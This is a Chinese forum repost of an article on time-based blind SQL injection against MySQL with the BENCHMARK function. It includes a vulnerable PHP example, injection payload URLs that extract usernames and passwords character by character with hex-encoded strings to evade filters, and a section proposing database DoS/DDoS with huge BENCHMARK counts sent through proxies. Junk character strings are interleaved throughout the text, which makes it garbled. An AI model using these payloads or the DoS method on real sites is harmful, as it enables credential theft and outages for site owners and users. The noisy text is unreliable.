找回密码
 立即注册
查看: 2375|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 ) G1 V9 W; o" D; C
本文作者:SuperHei) ~8 x( W5 e; D8 Z
文章性质:原创% P) B& @, w$ V" p3 i3 L, n
发布日期:2005-01-023 \4 ^! z8 X7 \. @0 J
完成日期:2004-07-09 ' ?" H; Q% r3 b8 Z1 Z& D( C3 h5 p
第一部
& O( Q9 m5 W7 v2 Q# u7 {. M+ O5 T' S% E& s
利用时间推延进行注射---BENCHMARK函数在注射中的利用 % e7 _/ I" l6 @( I" u  r
1 N0 r. k" N0 N! I, R* ^- a
一.前言/思路, J2 F2 N) j5 [/ g% }: j3 X1 A0 {

% Y" u0 H5 e$ D+ D5 m  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。( \% N. [! P5 ]. [0 F
4 ^! m% G2 m$ X; q, }! I; a
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
, |3 B2 _/ t8 j4 T, h: Q' K5 w
. [) Y3 M% w% h二.关于BENCHMARK函数2 @, y7 K: f* V0 i0 w
) y5 H4 |$ c3 c: u
  在MySQL参考手册里可以看到如下描叙:
2 B8 s' M4 _( ?2 U) H0 M
# Q; ?" p' z" D2 \* K
5 [. Q( k8 o# u# k--------------------------------------------------------------------------------! R$ J' g5 W3 ?  ]. u
" _2 u: c) \. E( I0 S. F# Q5 x- G
BENCHMARK(count,expr) # A! M9 V# h8 ?; K
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
' a% x2 k1 p" `: b% Z8 u( u- }mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ! z( M8 x7 p5 V2 {4 Z; C
+----------------------------------------------+
( @3 c; d: I0 i| BENCHMARK(1000000,encode("hello","goodbye")) |
0 U: C& ]0 h  \' h+----------------------------------------------+
# p! y/ r1 D' |+ X7 s$ w| 0 | : N  K2 n1 I6 c7 T
+----------------------------------------------+   v+ F3 c2 ?' O2 o
1 row in set (4.74 sec) - n* T/ d4 h* ~, K- w* Y

" Q0 K6 a0 R+ D3 ^: }7 t9 d3 A5 u  w. F报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
" T6 k% b% \4 `9 R# r9 Y0 |& X+ T: h% ~  a

6 i$ Q/ }5 a+ C* C! E' y) |--------------------------------------------------------------------------------
6 M3 S! Z) c+ G! |# L
  h  \9 M% H* ^: _! \, G  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 4 U% b7 p, m! @. M4 d
: |( Q. b% ]5 l) p
mysql> select md5( 'test' ); & |/ E1 D) s) e2 L3 s3 T9 A
+----------------------------------+ 6 t- l9 \4 H7 Q2 P6 f! h2 Y& U
| md5( 'test' ) |
' R+ X7 I2 }) ]6 R/ d2 e7 Y+----------------------------------+ : R, h4 D. ~: F1 T5 t
| 098f6bcd4621d373cade4e832627b4f6 | & k- k& ]. t- r- a4 j6 w  u  C' ?1 V
+----------------------------------+ ( P) b7 i# Z+ J4 z
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
% Y4 k4 Q1 U8 x; a7 T
( x; @: O( j7 V5 @& J$ Pmysql> select benchmark( 500000, md5( 'test' ) ); 4 w9 a7 b* I3 R8 q8 ~# m7 x
+------------------------------------+
) z# G  \' i# {0 J, v4 E+ g| benchmark( 500000, md5( 'test' ) ) | 4 r- O9 o/ X3 }" L
+------------------------------------+
1 k5 S% h) J/ ]" Y* v9 \- Y| 0 |
4 K+ z5 x; X" r+------------------------------------+
" x6 o* C$ M  J; c4 I5 `# @1 row in set (6.55 sec) 〈------------执行时间为6.55 sec; j7 X1 J# s- p( y$ T
7 R3 L0 W1 d6 E
/ Y: G7 ^) W* l9 ?" Q) s" d. P
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
1 g3 O, L  j) r  b& u3 ~9 z+ {
7 z5 S1 i- L& b+ |/ `三.具体例子
! b: G& @0 b9 c" B6 [: M
7 A* O0 v0 m9 _& W3 z  首先我们看个简单的php代码:
/ R$ r8 V+ Y- m/ K0 J
# {, v4 e; p9 C- q% D5 M( @. ~< ?php
1 ~, ]+ N8 d$ E$servername = "localhost";
7 T9 G+ B$ f& U% ]: D0 M+ U$dbusername = "root";   l. a9 V  G0 ~/ _6 H
$dbpassword = ""; / U; s% u/ w, |2 e! t' w+ J$ ?
$dbname = "injection";
0 o$ z" p* q$ s# m4 h  [7 \" l/ F6 {
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ) Q9 m$ ^9 Z8 V7 l" H) b+ V
- A% Y2 c3 I% ]. [- i
$sql = "SELECT * FROM article WHERE articleid=$id";
. \$ u! w7 K2 G6 U; M$result = mysql_db_query($dbname,$sql); 6 |8 m: L! ]' q1 }/ J2 I9 L! z
$row = mysql_fetch_array($result);
3 z" ]- l* ?- B; X, S3 f
. H( `3 d3 a3 F# s/ m0 j: Zif (!$row)
( d; _" T% y7 n# \2 C# P# r: w! i) f{ 9 t3 {: R+ v! D9 I' g& a: W8 Z$ x
exit;
- h) S3 C) Y4 b+ F0 ]$ v! \} $ g1 i3 \: V# W: U
?>
, u( k- O$ u. ?4 S' `9 y
7 |6 M- U+ q/ D4 E# }! d4 V2 B# k0 |$ @( F! m
  数据库injection结构和内容如下:5 m8 @" s4 |( y

+ _  I) ^0 _; C8 O( B/ M' H# 数据库 : `injection`
5 D* t& y' Y7 b2 k4 \& b3 |# ( E' P, M1 T# W6 i# I5 b+ g. j$ G

# t3 U6 w+ h! `0 k3 ?% G& T& s# --------------------------------------------------------
) A% I# D  W: v9 N9 Q; P+ Q0 _
# ^; B5 _8 m7 P$ M  M4 l#
6 \  Q( y* O; s) E( e# 表的结构 `article` 1 P# D, p5 N1 D6 _" q7 B
#
, p  Y8 O# {! L3 M. o4 ?$ W# S( p+ Y- f- M0 i2 O* w
CREATE TABLE `article` (
7 A2 r, N1 z$ j0 q& I/ r8 d`articleid` int(11) NOT NULL auto_increment, & R- k7 y5 r; o4 x: v/ Y4 F
`title` varchar(100) NOT NULL default '', 4 }$ p6 k$ v7 |$ o0 z5 ]
`content` text NOT NULL,
7 D1 i+ V) q8 r) oPRIMARY KEY (`articleid`)
' z/ U5 v* j, |4 h) TYPE=MyISAM AUTO_INCREMENT=3 ; " b' S! S% Z3 s3 O4 w; s( U1 n' o

: o% K, ~# _5 V1 I8 t# m2 ?#
5 B  @/ u# d; ?% `& V- }9 E; g# 导出表中的数据 `article` ; ~+ z0 k( D. ]* y7 H7 j, M3 H
# ' t; U, b, S- W* m* k6 o2 T* u
3 D; f) z/ U& t2 b
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
$ e) o5 w5 [4 H: p! L- E1 _, m# zINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); * o+ M# d* t0 b/ K* h

8 C5 y! p" W8 t# -------------------------------------------------------- ; l, f8 ^+ f/ y; g2 ?+ C9 u
' _. A) k0 ^6 C5 J1 r% ]5 A, b
# $ W* o8 H: [4 `! Q+ G
# 表的结构 `user` ! a/ c3 E8 o2 z8 L, b
#
8 n% U9 g  ^7 Z. f4 U1 G3 K6 O
0 W3 n( p8 S2 _8 y9 X$ WCREATE TABLE `user` (
$ A3 `& o6 g0 ]( ``userid` int(11) NOT NULL auto_increment,
2 _3 h/ h  n, o5 _# u! y5 }`username` varchar(20) NOT NULL default '', : R( F1 a' F3 g) c3 O5 W
`password` varchar(20) NOT NULL default '', - a0 m  a" ~& O9 g* E  w) p6 f
PRIMARY KEY (`userid`)
: z" H8 @6 C6 C( P7 @) TYPE=MyISAM AUTO_INCREMENT=3 ;
- ?( Y9 h# n" \( p
( l) ?7 J$ h/ u' k2 [# s# 3 R, |! c& m" j7 L
# 导出表中的数据 `user`
( x0 T4 @0 T8 H! f3 ]1 w& j#
# m" k% A' t; d/ L: K
  m& y  L! @; nINSERT INTO `user` VALUES (1, 'angel', 'mypass');
* D2 q. k% r- `INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
! {% n6 M8 k- e1 ~/ y
, }% n8 [& a' @# b) ?. z
2 |( W5 f1 h. b5 N% e. ]  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
3 I2 z( K; d- M6 O' T
* G: e* C3 S' D) Z& F$ ~+ Hid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
: I2 i6 H5 f* ^2 H & ?) }' |3 r3 g6 E5 F

. [# P# V/ H  U" T1 B  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:! |+ q" h, a7 T! J" O+ H! |

8 A, m* d# x, I7 ehttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
' P2 P! n* _7 O( A* G4 u1 p
: s( S2 ~2 E8 ?5 K! `' D& @& ~2 c! t( S0 u5 o+ P
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
" Y7 }" z+ B$ n/ e2 R- M; v
1 m) J! E! c/ c9 X$ }  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
0 K4 h; U1 d& {  F" R  a
% ~) I. D$ u" L第二部6 ^/ l' P! O" d) }2 c9 `: e

2 _6 o  n- \$ P! [$ p利用BENCHMARK函数进行ddos攻击
& ?/ l* U0 P& M3 G
) Y: {) h' m! ?* o; e; J  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:. H: Q" Z4 M7 r+ A

6 `& I/ Y& x' A' D5 e/ P* R1 G  ~% phttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
3 q- \4 `, h9 `; F, s
; P' g8 q5 z% w  ]( ~
, `6 H0 g0 q: n8 O! @小结
. U( p$ |. S8 B
  b  ~5 w8 p( g1 c$ G8 {$ {/ a3 p  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。$ c$ l& |" R4 j& e* E

4 i2 G" `- A$ `' V$ c  
! n- q0 P! B- J% ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表